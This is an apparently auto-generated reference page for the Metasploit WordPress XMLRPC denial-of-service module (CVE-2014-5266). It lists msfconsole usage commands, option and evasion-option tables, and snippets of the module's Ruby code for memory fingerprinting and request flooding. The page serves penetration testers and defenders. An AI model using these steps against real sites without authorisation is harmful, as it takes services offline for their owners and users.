Wordpress XMLRPC DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/wordpress_xmlrpc_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Wordpress XMLRPC DoS
Module: auxiliary/dos/http/wordpress_xmlrpc_dos
Source code: modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
Disclosure date: 2014-08-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-5266

Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are also patched).

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/wordpress_xmlrpc_dos
msf auxiliary(wordpress_xmlrpc_dos) > show targets
    ... a list of targets ...
msf auxiliary(wordpress_xmlrpc_dos) > set TARGET target-id
msf auxiliary(wordpress_xmlrpc_dos) > show options
    ... show and set options ...
msf auxiliary(wordpress_xmlrpc_dos) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/http/wordpress_xmlrpc_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/wordpress_xmlrpc_dos

msf6 auxiliary(dos/http/wordpress_xmlrpc_dos) > show info

       Name: Wordpress XMLRPC DoS
     Module: auxiliary/dos/http/wordpress_xmlrpc_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-08-06

Provided by:
  Nir Goldshlager
  Christian Mehlmauer <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT     1000             yes       Number of requests to send
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  VHOST                       no        HTTP server virtual host

Description:
  Wordpress XMLRPC parsing is vulnerable to a XML based denial of 
  service. This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 
  3.7.4 are also patched).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-5266
  http://wordpress.org/news/2014/08/wordpress-3-9-2/
  http://www.breaksec.com/?p=6362
  http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
  https://core.trac.wordpress.org/changeset/29404
  https://wpscan.com/vulnerability/7526

Module Options

This is a complete list of options available in the dos/http/wordpress_xmlrpc_dos auxiliary module:

msf6 auxiliary(dos/http/wordpress_xmlrpc_dos) > show options

Module options (auxiliary/dos/http/wordpress_xmlrpc_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT     1000             yes       Number of requests to send
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the dos/http/wordpress_xmlrpc_dos auxiliary module:

msf6 auxiliary(dos/http/wordpress_xmlrpc_dos) > show advanced

Module advanced options (auxiliary/dos/http/wordpress_xmlrpc_dos):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DEFAULT_LIMIT         8                                                   yes       The default limit in MB
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FINGERPRINT_STEP      8                                                   yes       The stepsize in MB when fingerprinting
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/wordpress_xmlrpc_dos module can do:

msf6 auxiliary(dos/http/wordpress_xmlrpc_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/wordpress_xmlrpc_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/wordpress_xmlrpc_dos) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

unable to connect: '<EXCEPTION.MESSAGE>'

Here is a relevant code snippet related to the "unable to connect: '<EXCEPTION.MESSAGE>'" error message:

72:	
73:	      begin
74:	        # low timeout because the server error is returned immediately
75:	        res = send_request_cgi(opts, timeout = 3)
76:	      rescue ::Rex::ConnectionError => exception
77:	        print_error("unable to connect: '#{exception.message}'")
78:	        break
79:	      end
80:	
81:	      if res && res.code == 500
82:	        # limit reached, return last limit

got an error - using limit <LAST_LIMIT>MB

Here is a relevant code snippet related to the "got an error - using limit <LAST_LIMIT>MB" error message:

79:	      end
80:	
81:	      if res && res.code == 500
82:	        # limit reached, return last limit
83:	        last_limit = memory_to_use - fingerprint_step
84:	        vprint_status("got an error - using limit #{last_limit}MB")
85:	        return last_limit
86:	      else
87:	        memory_to_use += fingerprint_step
88:	      end
89:	    end

can not determine limit, will use default of <DEFAULT_LIMIT>

Here is a relevant code snippet related to the "can not determine limit, will use default of <DEFAULT_LIMIT>" error message:

87:	        memory_to_use += fingerprint_step
88:	      end
89:	    end
90:	
91:	    # no limit can be determined
92:	    print_warning("can not determine limit, will use default of #{default_limit}")
93:	    return default_limit
94:	  end
95:	
96:	  def generate_xml(size)
97:	    entity = Rex::Text.rand_text_alpha(3)

unable to connect: '<EXCEPTION.MESSAGE>'

Here is a relevant code snippet related to the "unable to connect: '<EXCEPTION.MESSAGE>'" error message:

165:	        c = connect
166:	        r = c.request_cgi(opts)
167:	        c.send_request(r)
168:	        # Don't wait for a response, can take very long
169:	      rescue ::Rex::ConnectionError => exception
170:	        print_error("unable to connect: '#{exception.message}'")
171:	        return
172:	      ensure
173:	        disconnect(c) if c
174:	      end
175:	    end

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References

See Also

Check also the following modules related to this module:

Authors

  • Nir Goldshlager
  • Christian Mehlmauer

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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